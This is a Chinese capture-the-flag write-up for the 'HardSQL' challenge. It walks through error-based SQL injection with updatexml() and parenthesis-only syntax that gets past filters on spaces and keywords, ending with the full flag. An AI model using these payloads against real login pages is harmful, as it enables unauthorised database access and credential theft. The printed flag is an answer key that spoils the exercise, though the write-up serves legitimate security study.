[极客大挑战 2019]HardSQL 1
打开实例，发现是个登陆页面，查看源代码，发现又是GET提交check.php
万能密码尝试
不太行，怀疑字段或者空格被过滤，尝试闭合不加其他东西
确认空格、union、and等都被过滤了，尝试加个括号
并未出现你可知被我速住了，臭弟弟字样，()未被过滤吧，尝试采用updatexml()函数，构造payload（查库）：
?username=1'or(updatexml(1,concat(0x7e,database(),0x7e),1))%23&password=admin
成功拿到当前数据库名geek，确定为XPATH报错注入
查表
?username=1'or(updatexml(1,concat(0x7e,(select(table_name)from(information_schema.tables)where(table_schema)like('geek')),0x7e),1))%23&password=admin
获得表名H4rDsq1，查字段
?username=1'or(updatexml(1,concat(0x7e,(select(column_name)from(information_schema.columns)where(table_name)like('H4rDsq1')),0x7e),1))%23&password=admin
回显列太多，采用group_concat()包裹回显字段
?username=1'or(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1')),0x7e),1))%23&password=admin
成功获得字段列表：id username password
查字段数据
?username=1'or(updatexml(1,concat(0x7e,(select(concat(id,',',username,',',substring(password)))from(H4rDsq1)),0x7e),1))%23
&password=admin
成功看到flag，因为长度问题，这边的flag显示并不完整
尝试使用substring函数，发现被过滤
?username=1'or(updatexml(1,concat(0x7e,(select(concat(id,',',username,',',substring(password,0,100)))from(H4rDsq1)),0x7e),1))%23
&password=admin
思考片刻，决定采用left()和right()函数
首先先计算这边的最大长度，为33个字符
所以分两次拿取flag
left()，拿区第一段
?username=1'or(updatexml(1,concat(0x7e,(select(concat(left(password,33)))from(H4rDsq1)),0x7e),1))%23
&password=admin
flag{09f315c2-c334-4f3a-8de9-dc
right()，拿取第二段，第二段需要包含}，经过多次尝试为偏移31位
?username=1'or(updatexml(1,concat(0x7e,(select(concat(right(password,31)))from(H4rDsq1)),0x7e),1))%23
&password=admin
去除重复的文本，最终flag为
flag{09f315c2-c334-4f3a-8de9-dc6df0232a40}
